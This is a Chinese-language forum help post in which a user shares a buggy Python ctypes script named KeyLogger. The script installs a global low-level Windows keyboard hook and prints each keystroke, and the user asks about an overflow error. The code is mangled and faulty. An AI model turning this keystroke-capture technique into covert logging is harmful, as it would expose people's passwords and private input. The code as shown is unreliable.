有人看看我这一段代码中出现的问题吗

dienamer   ·   发表于 2021-05-28 17:40:29   ·   问题反馈求助区

源代码

from ctypes import *
import sys
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
from typing import Type

user32 = windll.user32
kernel32 =windll.kernel32

WHKEYBOARDLL=13
WM_KEYDOWN=0X0100
CTRL_CODE=162
class KeyLogger:
def __init
(self):
self.lUser32 = user32
self.hooked = None
def installHookProc(self,pointer):
self.hooked=self.lUser32.SetWindowsHookExA(
13,
pointer,
0,
0

    )
    if not self.hooked:
        print(kernel32.GetLastError())
        return False
    return True
def uninstallHookProc(self):
    if self.hooked is None:
        return
    self.lUser32.UnhookWindowsHookEx(self.hooked)
    self.hooked=None

def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)

def hookProc(nCode,wParam,lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(KeyLogger.hooked,nCode,wParam,lParam)
print(chr(lParam[0]))
if CTRL_CODE == int(lParam[0]):
print(“Ctrl pressed,call uninstallHook()”)
KeyLogger.uninstallHookProc()
sys.exit(-1)
else:
return user32.CallNextHookEx(KeyLogger.hooked,nCode,wParam,lParam)

def startKeyLog():
msg=MSG()
user32.GetMessageA(byref(msg),0,0,0)

KeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
print(pointer)

if KeyLogger.installHookProc(pointer):
print(“installed keyLogger”)
else:
print(“no ok”)
startKeyLog()

问题内容

我是想通过python去调用win API,来生成一个钩子,去监听按下了哪个案件并且输出在屏幕上,通过chr把值转化为字符,但是这边出现了个溢出问题,不知道该如何解决。

打赏我,让我更有动力~

0 Reply   |  Until 15天前 | 137 View
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2021. All Rights Reserved. 掌控者

Powered by 掌控者